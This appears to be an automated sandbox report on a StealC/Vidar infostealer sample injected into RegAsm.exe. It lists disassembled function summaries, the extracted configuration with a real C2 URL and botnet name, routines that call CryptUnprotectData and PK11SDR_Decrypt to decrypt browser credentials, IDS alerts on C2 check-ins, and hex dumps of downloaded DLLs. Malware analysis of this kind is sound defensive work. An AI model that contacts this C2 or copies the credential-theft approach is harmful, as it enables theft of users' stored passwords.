Function 6C41C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]Al,6C416499,-00000078,00000000,?,?,]Al,?,6C415DEF,?), ref: 6C41C821

Part of subcall function 6C411DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C411E0B
Part of subcall function 6C411DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C411E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]Al,?,6C415DEF,?,?,?), ref: 6C41C857

Strings

]Al, xrefs: 6C41C810

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]Al
API String ID: 221937774-3797807010
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 3003fcc6014b1a7ac6e9ce11e779f0e595febccc8c346de49f435e703143524a
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: D8F0A773A0411477EF01A9656C05EFA3659DF9119AF040035FE04D6B41FB26D92583E5

Function 6C400F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B

Part of subcall function 6C401370: GetSystemInfo.KERNEL32(?,?,?,?,6C400936,?,6C400F20,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000), ref: 6C40138F

PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

Part of subcall function 6C401110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C400936,00000001,00000040), ref: 6C401130
Part of subcall function 6C401110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C400936,00000001,00000040), ref: 6C401142
Part of subcall function 6C401110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C400936,00000001), ref: 6C401167

Strings

clock, xrefs: 6C400F20

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: f29bef581fb46c736cc2d4dded57ae615b91dd87f1e468e3a1a7e678e9cc85fb
Instruction ID: 83ec01f7fc1ddb86f54f6d29e4b6b9f9d9277a651f5a8284b5a97cd568c951fe
Opcode Fuzzy Hash: f29bef581fb46c736cc2d4dded57ae615b91dd87f1e468e3a1a7e678e9cc85fb
Instruction Fuzzy Hash: C5D02231340154A1C112A3979C48F96B2BCC7C327EF00483AF00801E008B3460DEC2B9

Function 6C470DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C470DF5
TlsGetValue.KERNEL32 ref: 6C470E2D
TlsGetValue.KERNEL32 ref: 6C470E58
TlsGetValue.KERNEL32 ref: 6C470E84

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 8fe9aca45cb8c7c16a43649b9b004f39e663a3defda16466b197a7543dc9336c
Instruction ID: df019df8efd3639cbcee0b0a3948cefd78be12a0baa977a0cf5a56d5cdbfa918
Opcode Fuzzy Hash: 8fe9aca45cb8c7c16a43649b9b004f39e663a3defda16466b197a7543dc9336c
Instruction Fuzzy Hash: 0231A7B06463908BDB20EF3CC984EA977B4BF46309F02466DD89987B11DB359085CBA5

Function 6C470F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C412AF5,?,?,?,?,?,6C410A1B,00000000), ref: 6C470F1A
malloc.MOZGLUE(00000001), ref: 6C470F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C470F42
TlsGetValue.KERNEL32 ref: 6C470F5B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: a959c2491ed3f6b4ab00fae39ab99240af8cc4653af624807d21fbfb1d08c368
Instruction ID: bd4f38cec70a92f95a71baf6fe5d7c8785e02a47903f2a8a6e11b51d2bc331a1
Opcode Fuzzy Hash: a959c2491ed3f6b4ab00fae39ab99240af8cc4653af624807d21fbfb1d08c368
Instruction Fuzzy Hash: 83012D71E4129097E720AB3E9D04EE67AACEF52259F050135EC1CC6A21D775C845C5F6

Source: 0.2.file.exe.3595570.0.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://194.87.29.53/6f9307efa625dd18.php", "Botnet": "oleh_psp"}
Source: 0.2.file.exe.3595570.0.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://194.87.29.53/6f9307efa625dd18.php", "Botnet": "oleh_psp"}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	3_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	3_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C306C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C306C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C45A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6C45A9A0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:60865 -> 194.87.29.53:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:60865 -> 194.87.29.53:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 194.87.29.53:80 -> 192.168.2.4:60865
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:60865 -> 194.87.29.53:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 194.87.29.53:80 -> 192.168.2.4:60865
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:60865 -> 194.87.29.53:80

Source: Malware configuration extractor	URLs: http://194.87.29.53/6f9307efa625dd18.php
Source: Malware configuration extractor	URLs: http://194.87.29.53/6f9307efa625dd18.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 16:29:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
